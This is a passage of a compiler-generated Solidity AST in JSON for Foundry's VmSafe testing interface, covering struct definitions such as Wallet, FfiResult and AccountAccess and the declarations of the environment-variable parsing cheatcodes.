nt256"}},"visibility":"internal"}],"name":"FsMetadata","nameLocation":"3718:10:13","scope":15098,"visibility":"public"},{"id":12125,"nodeType":"StructDefinition","src":"4364:277:13","nodes":[],"canonicalName":"VmSafe.Wallet","documentation":{"id":12116,"nodeType":"StructuredDocumentation","src":"4316:43:13","text":"A wallet with a public and private key."},"members":[{"constant":false,"id":12118,"mutability":"mutable","name":"addr","nameLocation":"4429:4:13","nodeType":"VariableDeclaration","scope":12125,"src":"4421:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12117,"name":"address","nodeType":"ElementaryTypeName","src":"4421:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":12120,"mutability":"mutable","name":"publicKeyX","nameLocation":"4491:10:13","nodeType":"VariableDeclaration","scope":12125,"src":"4483:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12119,"name":"uint256","nodeType":"ElementaryTypeName","src":"4483:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12122,"mutability":"mutable","name":"publicKeyY","nameLocation":"4559:10:13","nodeType":"VariableDeclaration","scope":12125,"src":"4551:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12121,"name":"uint256","nodeType":"ElementaryTypeName","src":"4551:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12124,"mutability":"mutable","name":"privateKey","nameLocation":"4624:10:13","nodeType":"VariableDeclaration","scope":12125,"src":"4616:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12123,"name":"uint256","nodeType":"ElementaryTypeName","src":"4616:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"name":"Wallet","nameLocation":"4371:6:13","scope":15098,"visibility":"public"},{"id":12133,"nodeType":"StructDefinition","src":"4686:213:13","nodes":[],"canonicalName":"VmSafe.FfiResult","documentation":{"id":12126,"nodeType":"StructuredDocumentation","src":"4647:34:13","text":"The result of a `tryFfi` call."},"members":[{"constant":false,"id":12128,"mutability":"mutable","name":"exitCode","nameLocation":"4757:8:13","nodeType":"VariableDeclaration","scope":12133,"src":"4751:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int32","typeString":"int32"},"typeName":{"id":12127,"name":"int32","nodeType":"ElementaryTypeName","src":"4751:5:13","typeDescriptions":{"typeIdentifier":"t_int32","typeString":"int32"}},"visibility":"internal"},{"constant":false,"id":12130,"mutability":"mutable","name":"stdout","nameLocation":"4834:6:13","nodeType":"VariableDeclaration","scope":12133,"src":"4828:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":12129,"name":"bytes","nodeType":"ElementaryTypeName","src":"4828:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":12132,"mutability":"mutable","name":"stderr","nameLocation":"4886:6:13","nodeType":"VariableDeclaration","scope":12133,"src":"4880:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":12131,"name":"bytes","nodeType":"ElementaryTypeName","src":"4880:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"name":"FfiResult","nameLocation":"4693:9:13","scope":15098,"visibility":"public"},{"id":12139,"nodeType":"StructDefinition","src":"4948:184:13","nodes":[],"canonicalName":"VmSafe.ChainInfo","documentation":{"id":12134,"nodeType":"StructuredDocumentation","src":"4905:38:13","text":"Information on the chain and fork."},"members":[{"constant":false,"id":12136,"mutability":"mutable","name":"forkId","nameLocation":"5049:6:13","nodeType":"VariableDeclaration","scope":12139,"src":"5041:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12135,"name":"uint256","nodeType":"ElementaryTypeName","src":"5041:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12138,"mutability":"mutable","name":"chainId","nameLocation":"5118:7:13","nodeType":"VariableDeclaration","scope":12139,"src":"5110:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12137,"name":"uint256","nodeType":"ElementaryTypeName","src":"5110:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"name":"ChainInfo","nameLocation":"4955:9:13","scope":15098,"visibility":"public"},{"id":12171,"nodeType":"StructDefinition","src":"5193:1837:13","nodes":[],"canonicalName":"VmSafe.AccountAccess","documentation":{"id":12140,"nodeType":"StructuredDocumentation","src":"5138:50:13","text":"The result of a `stopAndReturnStateDiff` call."},"members":[{"constant":false,"id":12143,"mutability":"mutable","name":"chainInfo","nameLocation":"5285:9:13","nodeType":"VariableDeclaration","scope":12171,"src":"5275:19:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_struct$_ChainInfo_$12139_storage_ptr","typeString":"struct VmSafe.ChainInfo"},"typeName":{"id":12142,"nodeType":"UserDefinedTypeName","pathNode":{"id":12141,"name":"ChainInfo","nameLocations":["5275:9:13"],"nodeType":"IdentifierPath","referencedDeclaration":12139,"src":"5275:9:13"},"referencedDeclaration":12139,"src":"5275:9:13","typeDescriptions":{"typeIdentifier":"t_struct$_ChainInfo_$12139_storage_ptr","typeString":"struct VmSafe.ChainInfo"}},"visibility":"internal"},{"constant":false,"id":12146,"mutability":"mutable","name":"kind","nameLocation":"5748:4:13","nodeType":"VariableDeclaration","scope":12171,"src":"5730:22:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_enum$_AccountAccessKind_$12051","typeString":"enum VmSafe.AccountAccessKind"},"typeName":{"id":12145,"nodeType":"UserDefinedTypeName","pathNode":{"id":12144,"name":"AccountAccessKind","nameLocations":["5730:17:13"],"nodeType":"IdentifierPath","referencedDeclaration":12051,"src":"5730:17:13"},"referencedDeclaration":12051,"src":"5730:17:13","typeDescriptions":{"typeIdentifier":"t_enum$_AccountAccessKind_$12051","typeString":"enum VmSafe.AccountAccessKind"}},"visibility":"internal"},{"constant":false,"id":12148,"mutability":"mutable","name":"account","nameLocation":"5925:7:13","nodeType":"VariableDeclaration","scope":12171,"src":"5917:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12147,"name":"address","nodeType":"ElementaryTypeName","src":"5917:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":12150,"mutability":"mutable","name":"accessor","nameLocation":"5988:8:13","nodeType":"VariableDeclaration","scope":12171,"src":"5980:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12149,"name":"address","nodeType":"ElementaryTypeName","src":"5980:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":12152,"mutability":"mutable","name":"initialized","nameLocation":"6199:11:13","nodeType":"VariableDeclaration","scope":12171,"src":"6194:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12151,"name":"bool","nodeType":"ElementaryTypeName","src":"6194:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":12154,"mutability":"mutable","name":"oldBalance","nameLocation":"6285:10:13","nodeType":"VariableDeclaration","scope":12171,"src":"6277:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12153,"name":"uint256","nodeType":"ElementaryTypeName","src":"6277:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12156,"mutability":"mutable","name":"newBalance","nameLocation":"6460:10:13","nodeType":"VariableDeclaration","scope":12171,"src":"6452:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12155,"name":"uint256","nodeType":"ElementaryTypeName","src":"6452:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12158,"mutability":"mutable","name":"deployedCode","nameLocation":"6537:12:13","nodeType":"VariableDeclaration","scope":12171,"src":"6531:18:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":12157,"name":"bytes","nodeType":"ElementaryTypeName","src":"6531:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":12160,"mutability":"mutable","name":"value","nameLocation":"6621:5:13","nodeType":"VariableDeclaration","scope":12171,"src":"6613:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":12159,"name":"uint256","nodeType":"ElementaryTypeName","src":"6613:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":12162,"mutability":"mutable","name":"data","nameLocation":"6695:4:13","nodeType":"VariableDeclaration","scope":12171,"src":"6689:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"},"typeName":{"id":12161,"name":"bytes","nodeType":"ElementaryTypeName","src":"6689:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"},{"constant":false,"id":12164,"mutability":"mutable","name":"reverted","nameLocation":"6790:8:13","nodeType":"VariableDeclaration","scope":12171,"src":"6785:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12163,"name":"bool","nodeType":"ElementaryTypeName","src":"6785:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":12168,"mutability":"mutable","name":"storageAccesses","nameLocation":"6912:15:13","nodeType":"VariableDeclaration","scope":12171,"src":"6896:31:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_StorageAccess_$12185_storage_$dyn_storage_ptr","typeString":"struct VmSafe.StorageAccess[]"},"typeName":{"baseType":{"id":12166,"nodeType":"UserDefinedTypeName","pathNode":{"id":12165,"name":"StorageAccess","nameLocations":["6896:13:13"],"nodeType":"IdentifierPath","referencedDeclaration":12185,"src":"6896:13:13"},"referencedDeclaration":12185,"src":"6896:13:13","typeDescriptions":{"typeIdentifier":"t_struct$_StorageAccess_$12185_storage_ptr","typeString":"struct VmSafe.StorageAccess"}},"id":12167,"nodeType":"ArrayTypeName","src":"6896:15:13","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_StorageAccess_$12185_storage_$dyn_storage_ptr","typeString":"struct VmSafe.StorageAccess[]"}},"visibility":"internal"},{"constant":false,"id":12170,"mutability":"mutable","name":"depth","nameLocation":"7018:5:13","nodeType":"VariableDeclaration","scope":12171,"src":"7011:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":12169,"name":"uint64","nodeType":"ElementaryTypeName","src":"7011:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"name":"AccountAccess","nameLocation":"5200:13:13","scope":15098,"visibility":"public"},{"id":12185,"nodeType":"StructDefinition","src":"7092:425:13","nodes":[],"canonicalName":"VmSafe.StorageAccess","documentation":{"id":12172,"nodeType":"StructuredDocumentation","src":"7036:51:13","text":"The storage accessed during an `AccountAccess`."},"members":[{"constant":false,"id":12174,"mutability":"mutable","name":"account","nameLocation":"7182:7:13","nodeType":"VariableDeclaration","scope":12185,"src":"7174:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12173,"name":"address","nodeType":"ElementaryTypeName","src":"7174:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":12176,"mutability":"mutable","name":"slot","nameLocation":"7246:4:13","nodeType":"VariableDeclaration","scope":12185,"src":"7238:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12175,"name":"bytes32","nodeType":"ElementaryTypeName","src":"7238:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":12178,"mutability":"mutable","name":"isWrite","nameLocation":"7303:7:13","nodeType":"VariableDeclaration","scope":12185,"src":"7298:12:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12177,"name":"bool","nodeType":"ElementaryTypeName","src":"7298:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":12180,"mutability":"mutable","name":"previousValue","nameLocation":"7371:13:13","nodeType":"VariableDeclaration","scope":12185,"src":"7363:21:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12179,"name":"bytes32","nodeType":"ElementaryTypeName","src":"7363:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":12182,"mutability":"mutable","name":"newValue","nameLocation":"7440:8:13","nodeType":"VariableDeclaration","scope":12185,"src":"7432:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12181,"name":"bytes32","nodeType":"ElementaryTypeName","src":"7432:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":12184,"mutability":"mutable","name":"reverted","nameLocation":"7502:8:13","nodeType":"VariableDeclaration","scope":12185,"src":"7497:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12183,"name":"bool","nodeType":"ElementaryTypeName","src":"7497:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"name":"StorageAccess","nameLocation":"7099:13:13","scope":15098,"visibility":"public"},{"id":12193,"nodeType":"FunctionDefinition","src":"7704:80:13","nodes":[],"documentation":{"id":12186,"nodeType":"StructuredDocumentation","src":"7561:138:13","text":"Gets the environment variable `name` and parses it as `address`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"350d56bf","implemented":false,"kind":"function","modifiers":[],"name":"envAddress","nameLocation":"7713:10:13","parameters":{"id":12189,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12188,"mutability":"mutable","name":"name","nameLocation":"7740:4:13","nodeType":"VariableDeclaration","scope":12193,"src":"7724:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12187,"name":"string","nodeType":"ElementaryTypeName","src":"7724:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7723:22:13"},"returnParameters":{"id":12192,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12191,"mutability":"mutable","name":"value","nameLocation":"7777:5:13","nodeType":"VariableDeclaration","scope":12193,"src":"7769:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":12190,"name":"address","nodeType":"ElementaryTypeName","src":"7769:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"7768:15:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12204,"nodeType":"FunctionDefinition","src":"7967:112:13","nodes":[],"documentation":{"id":12194,"nodeType":"StructuredDocumentation","src":"7790:172:13","text":"Gets the environment variable `name` and parses it as an array of `address`, delimited by `delim`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"ad31b9fa","implemented":false,"kind":"function","modifiers":[],"name":"envAddress","nameLocation":"7976:10:13","parameters":{"id":12199,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12196,"mutability":"mutable","name":"name","nameLocation":"8003:4:13","nodeType":"VariableDeclaration","scope":12204,"src":"7987:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12195,"name":"string","nodeType":"ElementaryTypeName","src":"7987:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12198,"mutability":"mutable","name":"delim","nameLocation":"8025:5:13","nodeType":"VariableDeclaration","scope":12204,"src":"8009:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12197,"name":"string","nodeType":"ElementaryTypeName","src":"8009:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7986:45:13"},"returnParameters":{"id":12203,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12202,"mutability":"mutable","name":"value","nameLocation":"8072:5:13","nodeType":"VariableDeclaration","scope":12204,"src":"8055:22:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":12200,"name":"address","nodeType":"ElementaryTypeName","src":"8055:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":12201,"nodeType":"ArrayTypeName","src":"8055:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"8054:24:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12212,"nodeType":"FunctionDefinition","src":"8225:74:13","nodes":[],"documentation":{"id":12205,"nodeType":"StructuredDocumentation","src":"8085:135:13","text":"Gets the environment variable `name` and parses it as `bool`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"7ed1ec7d","implemented":false,"kind":"function","modifiers":[],"name":"envBool","nameLocation":"8234:7:13","parameters":{"id":12208,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12207,"mutability":"mutable","name":"name","nameLocation":"8258:4:13","nodeType":"VariableDeclaration","scope":12212,"src":"8242:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12206,"name":"string","nodeType":"ElementaryTypeName","src":"8242:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"8241:22:13"},"returnParameters":{"id":12211,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12210,"mutability":"mutable","name":"value","nameLocation":"8292:5:13","nodeType":"VariableDeclaration","scope":12212,"src":"8287:10:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12209,"name":"bool","nodeType":"ElementaryTypeName","src":"8287:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"8286:12:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12223,"nodeType":"FunctionDefinition","src":"8479:106:13","nodes":[],"documentation":{"id":12213,"nodeType":"StructuredDocumentation","src":"8305:169:13","text":"Gets the environment variable `name` and parses it as an array of `bool`, delimited by `delim`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"aaaddeaf","implemented":false,"kind":"function","modifiers":[],"name":"envBool","nameLocation":"8488:7:13","parameters":{"id":12218,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12215,"mutability":"mutable","name":"name","nameLocation":"8512:4:13","nodeType":"VariableDeclaration","scope":12223,"src":"8496:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12214,"name":"string","nodeType":"ElementaryTypeName","src":"8496:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12217,"mutability":"mutable","name":"delim","nameLocation":"8534:5:13","nodeType":"VariableDeclaration","scope":12223,"src":"8518:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12216,"name":"string","nodeType":"ElementaryTypeName","src":"8518:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"8495:45:13"},"returnParameters":{"id":12222,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12221,"mutability":"mutable","name":"value","nameLocation":"8578:5:13","nodeType":"VariableDeclaration","scope":12223,"src":"8564:19:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":12219,"name":"bool","nodeType":"ElementaryTypeName","src":"8564:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":12220,"nodeType":"ArrayTypeName","src":"8564:6:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"}],"src":"8563:21:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12231,"nodeType":"FunctionDefinition","src":"8734:80:13","nodes":[],"documentation":{"id":12224,"nodeType":"StructuredDocumentation","src":"8591:138:13","text":"Gets the environment variable `name` and parses it as `bytes32`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"97949042","implemented":false,"kind":"function","modifiers":[],"name":"envBytes32","nameLocation":"8743:10:13","parameters":{"id":12227,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12226,"mutability":"mutable","name":"name","nameLocation":"8770:4:13","nodeType":"VariableDeclaration","scope":12231,"src":"8754:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12225,"name":"string","nodeType":"ElementaryTypeName","src":"8754:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"8753:22:13"},"returnParameters":{"id":12230,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12229,"mutability":"mutable","name":"value","nameLocation":"8807:5:13","nodeType":"VariableDeclaration","scope":12231,"src":"8799:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":12228,"name":"bytes32","nodeType":"ElementaryTypeName","src":"8799:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"8798:15:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12242,"nodeType":"FunctionDefinition","src":"8997:112:13","nodes":[],"documentation":{"id":12232,"nodeType":"StructuredDocumentation","src":"8820:172:13","text":"Gets the environment variable `name` and parses it as an array of `bytes32`, delimited by `delim`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"5af231c1","implemented":false,"kind":"function","modifiers":[],"name":"envBytes32","nameLocation":"9006:10:13","parameters":{"id":12237,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12234,"mutability":"mutable","name":"name","nameLocation":"9033:4:13","nodeType":"VariableDeclaration","scope":12242,"src":"9017:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12233,"name":"string","nodeType":"ElementaryTypeName","src":"9017:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12236,"mutability":"mutable","name":"delim","nameLocation":"9055:5:13","nodeType":"VariableDeclaration","scope":12242,"src":"9039:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12235,"name":"string","nodeType":"ElementaryTypeName","src":"9039:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"9016:45:13"},"returnParameters":{"id":12241,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12240,"mutability":"mutable","name":"value","nameLocation":"9102:5:13","nodeType":"VariableDeclaration","scope":12242,"src":"9085:22:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":12238,"name":"bytes32","nodeType":"ElementaryTypeName","src":"9085:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":12239,"nodeType":"ArrayTypeName","src":"9085:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"src":"9084:24:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12250,"nodeType":"FunctionDefinition","src":"9256:83:13","nodes":[],"documentation":{"id":12243,"nodeType":"StructuredDocumentation","src":"9115:136:13","text":"Gets the environment variable `name` and parses it as `bytes`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"4d7baf06","implemented":false,"kind":"function","modifiers":[],"name":"envBytes","nameLocation":"9265:8:13","parameters":{"id":12246,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12245,"mutability":"mutable","name":"name","nameLocation":"9290:4:13","nodeType":"VariableDeclaration","scope":12250,"src":"9274:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12244,"name":"string","nodeType":"ElementaryTypeName","src":"9274:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"9273:22:13"},"returnParameters":{"id":12249,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12248,"mutability":"mutable","name":"value","nameLocation":"9332:5:13","nodeType":"VariableDeclaration","scope":12250,"src":"9319:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":12247,"name":"bytes","nodeType":"ElementaryTypeName","src":"9319:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"9318:20:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12261,"nodeType":"FunctionDefinition","src":"9520:108:13","nodes":[],"documentation":{"id":12251,"nodeType":"StructuredDocumentation","src":"9345:170:13","text":"Gets the environment variable `name` and parses it as an array of `bytes`, delimited by `delim`.\n Reverts if the variable was not found or could not be parsed."},"functionSelector":"ddc2651b","implemented":false,"kind":"function","modifiers":[],"name":"envBytes","nameLocation":"9529:8:13","parameters":{"id":12256,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12253,"mutability":"mutable","name":"name","nameLocation":"9554:4:13","nodeType":"VariableDeclaration","scope":12261,"src":"9538:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12252,"name":"string","nodeType":"ElementaryTypeName","src":"9538:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12255,"mutability":"mutable","name":"delim","nameLocation":"9576:5:13","nodeType":"VariableDeclaration","scope":12261,"src":"9560:21:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12254,"name":"string","nodeType":"ElementaryTypeName","src":"9560:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"9537:45:13"},"returnParameters":{"id":12260,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12259,"mutability":"mutable","name":"value","nameLocation":"9621:5:13","nodeType":"VariableDeclaration","scope":12261,"src":"9606:20:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":12257,"name":"bytes","nodeType":"ElementaryTypeName","src":"9606:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":12258,"nodeType":"ArrayTypeName","src":"9606:7:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_stora